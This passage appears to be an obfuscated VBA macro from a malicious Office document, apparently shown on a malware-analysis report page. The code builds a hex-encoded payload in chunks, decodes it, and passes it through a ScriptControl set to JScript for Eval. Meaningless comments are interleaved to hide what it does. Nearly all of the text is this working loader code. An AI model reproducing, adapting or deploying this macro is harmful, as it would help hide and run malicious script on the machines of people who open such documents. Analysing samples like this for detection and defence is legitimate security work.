'y ieTt93fOpDQ eOMKjZTmaLoAD lXL8JsT3MFxdU
NAQGP = NAQGP & JTCKC("32K37P46U32B39G4BL33R42X51D35H33N57T37Y34E43K37P32V48A36E35L4DR36W31C53I36N44S41X34D46I47O36U32Z4CF36K41P54T32Z45E5AJ34P46U45Y37D30J4DO36T35Z53D36I45O58T33Y42D44I35N33T49Y37D34I52N37S32Y57E36J35O43S36Y31D4BI36N44T52X34C46H5AN36T32Y47D36K41P4DV32A45F53L35Q34V58A37F39M44R37W30C4BI36N35T50Z33F44K56P33W31B42G33M42S47X35D33I50N37S34X55D37J32R41X36C35I48N36T31Y4ED36J44O56U34Z46F42K36R32V"): 'kY seQ M6 y PQVGPHgx18D6nlmQ8T r
'pHkT0 mFZVsWEvyT Hel XomEf2u hMK8 VPOe2t0
NAQGP = NAQGP & JTCKC("48U36A41E50L32R45W55C35H37O41S37X32E49J36O39U4EZ37G34K56P36W35B42H32M38R48W35C38H50N36S44X56D36J43P41U36A38E47K37P34V4DA37F34L53Q37W30B58G34M46R44X36B32H4AM36S41X4FC32H45N55S35Y32C41I36N35T47Z37F33L4DQ37V30A54F36K46Q59V36A45E46K37P33U4CA36F35M51S34X32C57H36N46S43X36D34J48O37U39Z4EE32L39Q54X33C42H59N36T39Y45E36J36Q4CV32Z38E55K34P36W42A37H33M4BR36X46C52I34N46S58Y36D32J46P36U41Z4EG32L"): 'fMwqy5S 7blfoclM9wcDI9ojV3L3s4 aEKsd
'zr05D4R0VP 4aoy1b3C5um i0KEzqrWPpjGp G4
NAQGP = NAQGP & JTCKC("45I53N34T36Z41E36K39Q49V36C43H50M36S35X57D34I35N43U37Z38E49K36P39U4FB37F33L54Q37W34B41H37M33T47X32D38I4CN34T36Y52C37I35N58T36Y43D43H36N43S48Y35D38I4EM32S39X57C32H39N43R32W30B4BG34M36R51W37C33H56M36R46W42B34G46L48R36W32B4DG36L41R54X32C45I5AO34U34Z45E36K35P4BV36Z43E50L36R35V59C37H34N45S36Y35F4AJ34P36W4FB36G39M55R36X43C44H36M35R4AX32D38I4FP34U36Y55F37K35Q41V36Z43G47L36R43X4CC35H38N52S"): 'ghd4NXKPB2mwRQgI9iBi j9znfJG2 9WfqMp
'1DZ Unxo wPNhOkv2NchqU7P0cIZ90qRpDSvyN h
NAQGP = NAQGP & JTCKC("32D39I5AN33U42B47H35O33S4CZ37E34K51U37C32K57S36X35D43I36N31U4BZ36E44K51P34V46Z59E36L32Q47V36C41H4DM32S45W53B35H33M59R36X31B44G37L36R4AW36B35G51L35Q34V56A36G46L43P34V36A49F36K39P4EU36Z43E54K36P35W5AB32H38N46R34X36C4CI37N35S52X36D43I57N36T43Y43F35K38P4AV32B39G4FL33Q42X55C35H33N42T37Y34E47J37Q32V4DA36H35M54R36W31C5AI36N44S49X34C46H50O36T32A56F36K41Q42V32A45F48K34Q33W4EB36H43M53U36B46H"): 'pUNO83oNZJzPyG RkTDK1 lWjeITw8eElWVG3pW
'E6L1Z M4o 13FAmR7t Ry3eLiUH8Hxpy
NAQGP = NAQGP & JTCKC("59Z37E33J48Q36V35A4FH33M42R55X36C39I41U36Z36G47K32Q38V51A32I31O57W34E36L44U37B33I4AR36Y46G4FT34Y46E55J36N32T41Y36D41I47N32S45X4EB34H36M53T36B39I59Q36V43A49G36L35Q50U34Z35F56K37P38U42Z36E39J48O37U33Y4ED37I34N54S37X33C5AH32M38R46W34B36G4CN37S35Y51E36J43O57T36X43C43I35O38U4CC32M39U51B32L39S57C32J30R43C34J36Q49W37B33I4FN36S46X55B34H46N41T36Y32E46J36P41U4CZ32E45J52P34U34Z5AG36L35Q46W36B"): 'Z N6KJy6HSpOz4L tFfl2ck QFK34OjnJIQYCH
'27iR7 sCP36GCtK YbDAEw76FpSZx5 c i
NAQGP = NAQGP & JTCKC("43Z4BF36L35R51W37B34I57N36S35X42C34J36O48S36Z39E4EK36P43T56A36F35K42P32U38A47F34K36Q4EV37A35H54M36R43W59B36H43M45R35X38C4BH32M39R50W33B42H57M35S33W43B36G38M48R36X35B4EH36M43R55W36C43H5AM34S46X46D36I32N4CT36Y41D51I32Q45V57Z34E35J46O37T38A4EE36L35Q53V36A33F59K32P38U45B34G36K4AR37W35B50H36M43T56Y36C43J41O35T38Z47E32K39Q4EV33Z42E53J") 'WrQ 5Z 0MW4S8Nr0E QTUsfKgm C KDw
'ba2kJFnsxtzpwsD4i gs i LhFJ WN t4meD4o
NAQGP = JTCKC(NAQGP): ' 4PV 1l1i Dr y4bgrgVfSnr 7N62Akzu Fl
'NdEho1lQOenzr 5Z19 Xceiopm ek8 t
Dim VMSXE As New ScriptControl: 'XjQw L4v enUytO7LVAdHqV6Lau 9 KqgI
'sFL6 cYC3YQ3 rSbD cd3bTWYtS 28mqnK
VMSXE.Language = JTCKC("4AR53W63B72I69N70R74Y"): 'DkmNaPS lRsowU4nuCFMeixj0v5iGfUx
'KHe Go0AIP jU fZ7UK RDK8 5IU8uL9aSd ERl
VMSXE.Eval (NAQGP): ' k GSK2biAFfTR4B8PhJstWX2uh5c1XeSifF
'QF7QZbX1b 0 jP7o1 8JXdr4j0tz OhSowZ
End If: 'yN yli DRJ 2W8 S1tsSTQxRYaJX cgj6
'7qKjtiSY91teLO0d dT2PwS psgjLx32p7So
End Sub 'i8 Y56Ew S3cUc vW5I 5GL G37eCqpdWk ADUjB
'InrSWN ahc3f 3mZkhVMNWS Maue gHkTOd9L Se

Open this report in the interactive analyzer, or submit your own file for analysis.